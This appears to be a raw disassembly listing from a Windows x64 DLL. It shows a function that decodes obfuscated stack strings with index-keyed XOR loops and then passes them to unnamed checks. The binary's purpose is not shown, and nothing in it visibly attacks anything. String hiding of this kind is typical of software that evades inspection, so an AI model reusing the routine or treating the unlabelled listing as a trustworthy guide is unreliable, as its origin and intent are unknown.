addss xmm0, xmm8
call fcn.180025690
lea rcx, [rbp + 0x920]
call fcn.180016730
mov r8d, esi
movups xmm1, xmmword [str._VRGSDP]
movss xmm0, dword [rax]
mov eax, dword [0x1801b8788]
mov dword [rbp + 0x23c8], eax
movzx eax, byte [0x1801b878c]
mov byte [rbp + 0x23cc], al
movss dword [rbp + 0x928], xmm0
mov dword [rbp + 0x92c], 0x42200000
movups xmmword [rbp + 0x23b8], xmm1
cmp r12d, 2
jl 0x1800a5731
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x23bc]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a5640
cmp r8d, 0x15
jge 0x1800a5770
movsxd rax, r8d
lea r9, [rbp + 0x23b8]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800a5740
lea rdx, [rbp + 0x928]
lea rcx, [rbp + 0x23b8]
call fcn.180002b60
test al, al
je 0x1800a57c2
lea rdx, [0x18023bf20]
lea rcx, [rbp + 0x28c0]
call fcn.1800631f0
lea rdx, [0x18023bf00]
mov rbx, rax
lea rcx, [rbp + 0x28e0]
call fcn.1800631f0
lea r8, [0x1802401a0]
mov rdx, rbx
mov rcx, rax
call fcn.1800aca50
call fcn.180016870
addss xmm0, xmm8
call fcn.180025690
lea rcx, [rbp + 0xad8]
call fcn.180016730
cmp byte [0x1801b87a3], sil
movups xmm1, xmmword [str.vVXPBR]
movss xmm0, dword [rax]
mov eax, dword [0x1801b87a0]
movss dword [rbp + 0xae0], xmm0
mov dword [rbp + 0x2368], eax
mov dword [rbp + 0xae4], 0x42200000
movups xmmword [rbp + 0x2358], xmm1
je 0x1800a596d
cmp r12d, 2
jl 0x1800a592e
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x235c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, esi
lea eax, [rsi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add esi, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
mov eax, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp esi, 0x10
jl 0x1800a5840
cmp eax, 0x14
jge 0x1800a596d
movsxd rax, esi
lea r8, [rbp + 0x2358]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, sil
inc esi
sub al, cl
add al, 0x32
xor byte [r8 - 1], al
cmp esi, 0x14
jl 0x1800a5940
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0x2358]
call fcn.180002b60
test al, al
je 0x1800a59fe
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x2900], xmm0
movdqu xmmword [rbp + 0x2910], xmm1
nop dword [rax]
inc r13
cmp byte [rdi + r13], 0
jne 0x1800a59a0
mov r8, r13
lea rcx, [rbp + 0x2900]
mov rdx, rdi
call fcn.180001340
lea rdx, [0x18023bf20]
lea rcx, [rbp + 0x2920]
call fcn.1800631f0
lea rdx, [0x18023bf00]
mov rbx, rax
lea rcx, [rbp + 0x2940]
call fcn.1800631f0
lea r9, [0x1802401a0]
mov rdx, rbx
lea r8, [rbp + 0x2900]
mov rcx, rax
call fcn.18007e050
call fcn.180006b10
call fcn.180013c40
call fcn.180013710
mov r15, qword [rsp + 0x91d0]
mov rcx, qword [rbp + 0x8ff8]
xor rcx, rsp
call fcn.18019d700
lea r11, [rsp + 0x91a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
lea rcx, [0x1802404a0]
call fcn.18019d5f4
cmp dword [0x1802404a0], 0xffffffff
jne 0x1800a4aea
lea rcx, [0x18019f0d0]
call fcn.18019d570
lea rcx, [0x1802404a0]
call fcn.18019d588
jmp 0x1800a4aea
call fcn.18000aa20
int3
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 6
mov dword [rbp + 0x1dd8], esi
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3